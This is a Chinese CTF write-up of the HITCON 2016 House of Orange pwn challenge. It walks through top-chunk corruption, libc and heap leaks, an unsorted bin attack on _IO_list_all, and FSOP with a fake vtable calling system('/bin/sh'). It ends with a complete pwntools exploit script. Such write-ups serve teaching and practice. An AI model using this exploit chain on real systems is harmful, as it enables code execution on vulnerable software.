houseoforange_hitcon_2016

buuoj刷pwn题之houseoforange_hitcon_2016

参考文章:https://bbs.pediy.com/thread-222718.htm

保护全开
upload successful

有add,show,edit,没free

add只有4次:
upload successful

show
upload successful

edit只有3次,但是写入数据的长度可控,可溢出
upload successful

house of orange具体在没有free功能的情况下,制造出free的chunk,思路是溢出修改top chunk的size,然后malloc比top chunk大的chunk,使得top chunk被释放进入unsorted bin

一些检查:

  • top chunk的size要4K对齐
  • pre_in_use位置1

修改top chunk的size后

add(0x80, 'aaaa')

fake_name = 'a' * 0x80
fake_name += p64(0) + p64(0x21) # color chunk
fake_name += p32(0xddaa) + p32(1) + p64(0) # color structure
fake_name += p64(0) + p64(0xf31) # top chunk: pre_size, size

edit(len(fake_name), fake_name)

upload successful

malloc一个比top chunk大的chunk,top chunk将会被释放进入unsorted bin

add(0x1000, 'aaa') # free top chunk

upload successful

之后再malloc一个large bin大小的chunk,将从unsorted bin切割出来,bk仍然存有main_arena的地址,bk后面的fd_nextsize又有堆的地址,可以泄露出来

add(0x400, 'a' * 8) # 从unsorted bin中切割一块出来 'a' * 8 是fd,后面就是bk
show()
ru('a' * 8)
addr = uu64(r(6))
lbase = addr - (0x7ffff7dd2188 - 0x7ffff7a0d000)


edit(0x10, 'a' * 0x10)
show()
ru('a' * 0x10)
addr = uu64(r(6))
hbase = addr & 0xffFFffFFffFFf000

upload successful

之后就是unsorted bin attack,修改_IO_list_all为unsorted bin的地址,而unsorted bin + 0x68(_IO_FILE_plus的_chain字段)是0x60大小的small chunk,要是把覆盖unsorted bin 中的chunk的size成0x60,那么_chain将填成这个chunk的地址,就把这个chunk当成_IO_FILE_plus结构了

pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk

pay += fake_file

edit(len(pay), pay)

add(0x400, 'aaa')

通过unsorted bin attack将_IO_list_all改成unsorted bin的地址
upload successful

并且+0x68处,已经改成这个chunk的地址
upload successful

开始FSOP


pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

chunk_addr = hbase + 0x560

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk
fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\x00')
fake_file += p64(0) # _mode
fake_file += p64(0) + p64(0)
fake_file += p64(chunk_addr + len(fake_file) + 8) # vtable

fake_vtable = p64(0) * 3
fake_vtable += p64(lbase + ctx.libc.sym['system']) # _IO_OVERFLOW

pay += fake_file + fake_vtable

完整exp:

#coding=utf8
#!/usr/bin/python2

from PwnContext import *
      
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, '\x00'))
uu64    = lambda data   :u64(data.ljust(8, '\x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './houseoforange_hitcon_2016'
ctx.remote = ('0.0.0.0', 0)
ctx.remote_libc = '../libc/libc-2.23.so'
ctx.debug_remote_libc = True

def add(size, content):
    sla('choice : ', '1')
    sla('name :', str(size))
    sa('Name :', content)
    sla('Orange:', '1')
    sla('Orange:', str(0xddaa))


def show():
    sla('choice : ', '2')


def edit(size, content):
    sla('choice : ', '3')
    sla('name :', str(size))
    sa('Name:', content)
    sla('Orange:', '1')
    sla('Orange:', str(0xddaa))


#rs()
rs('remote')
# print(ctx.libc.path)

add(0x80, 'aaaa')

fake_name = 'a' * 0x80
fake_name += p64(0) + p64(0x21) # color chunk: pre_size, size 不必要伪造,直接随便覆盖也行
fake_name += p32(0xddaa) + p32(1) + p64(0) # color structure
fake_name += p64(0) + p64(0xf31) # top chunk: pre_size, size

edit(len(fake_name), fake_name)

add(0x1000, 'aaa') # free top chunk

add(0x400, 'a' * 8) # 从unsorted bin中切割一块出来 'a' * 8 是fd,后面就是bk
show()
ru('a' * 8)
addr = uu64(r(6))
lbase = addr - (0x7ffff7dd2188 - 0x7ffff7a0d000)
leak('lbase', lbase)

edit(0x10, 'a' * 0x10)
show()
ru('a' * 0x10)
addr = uu64(r(6))
hbase = addr & 0xffFFffFFffFFf000
leak('hbase', hbase)

_IO_list_all = lbase + ctx.libc.sym['_IO_list_all']
leak('_IO_list_all', _IO_list_all)

pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

chunk_addr = hbase + 0x560

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk
fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\x00')
fake_file += p64(0) # _mode
fake_file += p64(0) + p64(0)
fake_file += p64(chunk_addr + len(fake_file) + 8) # vtable

fake_vtable = p64(0) * 3
fake_vtable += p64(lbase + ctx.libc.sym['system']) # _IO_OVERFLOW

pay += fake_file + fake_vtable


#dbg('watch %s' % hex(_IO_list_all))

edit(len(pay), pay)

#add(0x400, 'aaa')

sla('choice : ', '1')


irt()